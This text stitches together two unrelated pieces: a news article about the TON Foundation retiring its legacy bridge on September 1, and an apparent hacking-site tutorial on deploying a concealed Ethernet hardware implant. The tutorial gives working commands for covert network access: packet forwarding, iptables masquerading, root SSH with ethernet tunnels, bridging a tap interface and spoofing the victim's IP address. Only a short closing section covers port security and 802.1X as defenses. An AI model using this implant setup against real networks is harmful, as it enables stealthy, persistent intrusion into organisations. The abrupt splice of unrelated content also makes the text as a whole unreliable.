The TON Foundation has confirmed that its legacy bridge will be permanently decommissioned on September 1, setting a deadline for users holding wrapped TON and related bridge assets to move back to native forms.

The shutdown affects bridge-v3.ton.org, according to TON materials. Users holding Wrapped TON as an ERC-20 token on Ethereum or BNB Chain, or j-tokens such as jUSDT on TON, need to bridge assets back before the deadline to avoid losing access.

This is a planned infrastructure transition.

It should not be described as an exploit, emergency shutdown, or security failure unless official sources say otherwise.

TL;DR

• TON’s legacy bridge will be decommissioned on September 1.
• Wrapped TON and j-token users need to bridge assets back before the deadline.
• The shutdown is planned and should not be framed as a hack.

Why Bridge Shutdowns Matter

Bridges are one of the most sensitive pieces of crypto infrastructure.

They connect assets across chains, but they also create operational risk. If a bridge is deprecated or shut down, users need clear instructions and enough time to move funds.

A missed deadline can be costly.

Tokens that depend on a bridge may become hard to redeem or move if users do not act before decommissioning. That is why bridge shutdown notices matter even when nothing has been hacked.

They are practical user-risk events.

Wrapped Assets Need Special Attention

Wrapped TON on Ethereum or BNB Chain is not the same as native TON.

A wrapped token usually depends on bridge infrastructure that locks or accounts for the native asset while issuing a representation on another chain. If that bridge is being retired, users need to unwind the wrapped position through the proper route.

The same logic applies to j-tokens on TON.

Users should follow official instructions, use the correct bridge interface, and avoid unofficial links or phishing attempts. Bridge transition periods often attract scammers because users are already expecting to move assets.

Planned Does Not Mean Unimportant

A planned shutdown can still create risk.

The risk is not necessarily technical failure. It is user coordination. Some holders may not see the announcement. Some may wait too long. Some may use the wrong interface. Some may misunderstand which assets are affected.

That is why the September 1 deadline is important.

TON’s ecosystem needs users to act before the legacy infrastructure is retired.

Why Networks Retire Bridges

Protocols may shut down old bridges for many reasons.

A bridge may be replaced by newer infrastructure, become expensive to maintain, no longer fit the ecosystem roadmap, or carry legacy risk the foundation no longer wants to support. Retiring old infrastructure can be healthy if the process is communicated clearly.

The key is migration.

Users need enough time and simple instructions to move assets safely.

What Comes Next

The next milestone is the September 1 deadline.

Until then, wrapped TON and j-token holders should confirm whether they are affected and use official TON channels to bridge assets back. After the deadline, access may become limited or impossible through the legacy route.

For TON, the shutdown is part of infrastructure cleanup.

For users, it is a deadline that should not be ignored.

This article is based on TON Foundation materials regarding the legacy bridge decommissioning.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released in disclosures at primary source documentation.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.